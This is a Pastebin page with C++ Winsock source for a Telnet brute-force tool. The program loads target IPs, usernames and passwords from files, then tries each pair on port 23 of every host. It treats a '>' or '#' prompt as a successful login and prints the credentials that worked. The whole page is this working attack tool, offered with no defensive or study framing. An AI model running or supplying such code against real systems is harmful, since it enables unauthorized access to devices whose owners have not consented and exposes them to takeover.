Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <cstdlib>
- #include <cstdio>
- #include <winsock2.h>
- #include <string>
- #include <vector>
- #include <iostream>
- #include <fstream>
- //#define _DEBUG_
- using namespace std;
- const unsigned short usTelnetPort = 23;
- const char szIpAddressFile[] = "ip.txt";
- const char szUsernameFile[] = "usernames.txt";
- const char szPasswordFile[] = "passwords.txt";
- void LoadListFromFile( ifstream& Reader, vector<string>& vList )
- {
- string sTemp;
- while( Reader.good() && (!Reader.eof()) )
- {
- Reader>>sTemp;
- vList.push_back(sTemp);
- }
- }
- #ifdef _DEBUG_
- void DisplayList( vector<string>& vList )
- {
- vector<string>::iterator vIter;
- for( vIter = vList.begin(); vIter != vList.end(); ++vIter )
- {
- cout<<*vIter<<endl;
- }
- }
- #endif
- bool Login( SOCKET sSock, const sockaddr_in& ConnInfo, const string sUsername, vector<string>& vPasswords, string& sPassword )
- {
- vector<string>::iterator vPasswordIter;
- bool bSuccess = false;
- for( vPasswordIter = vPasswords.begin(); vPasswordIter != vPasswords.end(); ++vPasswordIter )
- {
- // Send Username and Password
- string sCredentials = sUsername+"\r\n"+(*vPasswordIter)+"\r\n";
- send(sSock,sCredentials.c_str(),sCredentials.length(),0);
- unsigned int uiTotalBytesReceived = 0;
- int iBytesReceived = 0;
- const BYTE bIAC = 0xFF;
- string sBuffer;
- BYTE bValue = 0;
- unsigned short usSuccessiveDisconnects = 0;
- bool bIAC_Received = false;
- bool bOperation_Received = false;
- bool bConnected = false;
- while( true )
- {
- iBytesReceived = recv(sSock,(char*)&bValue,1,0);
- if( iBytesReceived == SOCKET_ERROR ) break;
- else if( iBytesReceived == 0 ) // Remote Party closed connection
- {
- ++usSuccessiveDisconnects;
- if( (usSuccessiveDisconnects == 2) ||
- ((bConnected = !connect(sSock,(sockaddr*)&ConnInfo,sizeof(ConnInfo))) == false)
- ) break;
- }
- else uiTotalBytesReceived += iBytesReceived;
- usSuccessiveDisconnects = 0;
- if( bOperation_Received ) { bOperation_Received = false; continue; }
- else if( bValue == bIAC ) bIAC_Received = true;
- else if ( bValue > 0x80 ){ if( bIAC_Received ){ bOperation_Received = true; bIAC_Received = false; } }
- else if( bValue < 0x80 )
- {
- if( (bValue > 96) && (bValue < 123) ) bValue -= 32;
- sBuffer += bValue;
- if( sBuffer.find("FAIL") != string::npos ) { bSuccess = false; break; }
- if( (sBuffer.find(">") != string::npos) || (sBuffer.find("#") != string::npos) ) { bSuccess = true; break; }
- }
- }
- if( usSuccessiveDisconnects == 2 ) break;
- if( bSuccess ) { sPassword = *vPasswordIter; break; }
- }
- return bSuccess;
- }
- int main(int argc, char *argv[])
- {
- WSADATA wsaData;
- WSAStartup(MAKEWORD(2,0),&wsaData);
- /*************************************************************************/
- /* Load Lists of Ip Addresses,Usernames,Passwords */
- /*************************************************************************/
- vector<string> vIpAddresses;
- vector<string> vUsernames;
- vector<string> vPasswords;
- ifstream IpAddressFileReader(szIpAddressFile,ifstream::in);
- ifstream UsernameFileReader(szUsernameFile,ifstream::in);
- ifstream PasswordFileReader(szPasswordFile,ifstream::in);
- if( !(IpAddressFileReader.good() && UsernameFileReader.good() && PasswordFileReader.good()) )
- {
- cout<<"Failed to open file!\n\n";
- exit(1);
- };
- LoadListFromFile( IpAddressFileReader,vIpAddresses );
- LoadListFromFile( UsernameFileReader, vUsernames );
- LoadListFromFile( PasswordFileReader, vPasswords );
- IpAddressFileReader.close();
- UsernameFileReader.close();
- PasswordFileReader.close();
- #ifdef _DEBUG_
- DisplayList(vIpAddresses);
- DisplayList(vUsernames);
- DisplayList(vPasswords);
- #endif
- /**************************************************************************/
- sockaddr_in ConnInfo;
- ConnInfo.sin_family = AF_INET;
- ConnInfo.sin_port = htons(usTelnetPort);
- bool bSocketInvalidated = true;
- SOCKET sConnSock;
- vector<string>::iterator vIpAddressIter;
- vector<string>::iterator vUsernameIter;
- for( vIpAddressIter = vIpAddresses.begin(); vIpAddressIter != vIpAddresses.end(); ++vIpAddressIter )
- {
- ConnInfo.sin_addr.s_addr = inet_addr( vIpAddressIter->c_str() );
- bool bSuccessfulLogin = false;
- if( bSocketInvalidated ) sConnSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- bool bConnected = !connect( sConnSock,(sockaddr*)&ConnInfo,sizeof(sockaddr_in) );
- if( !bConnected ) { cout<<"Failed to connect to: "<<*vIpAddressIter<<endl; continue; }
- cout<<"Connected to: "<<*vIpAddressIter<<endl;
- for( vUsernameIter = vUsernames.begin(); vUsernameIter != vUsernames.end(); ++vUsernameIter )
- {
- string sPassword;
- bSuccessfulLogin = Login( sConnSock, ConnInfo,*vUsernameIter,vPasswords, sPassword );
- if( bSuccessfulLogin ) { cout<<"Username: "<<*vUsernameIter<<endl<<"Password: "<<sPassword<<endl<<endl; break;}
- }
- if( !bSuccessfulLogin ) cout<<"Failed to gain access!\n\n";
- closesocket( sConnSock );
- bSocketInvalidated = true;
- }
- WSACleanup();
- system("pause");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement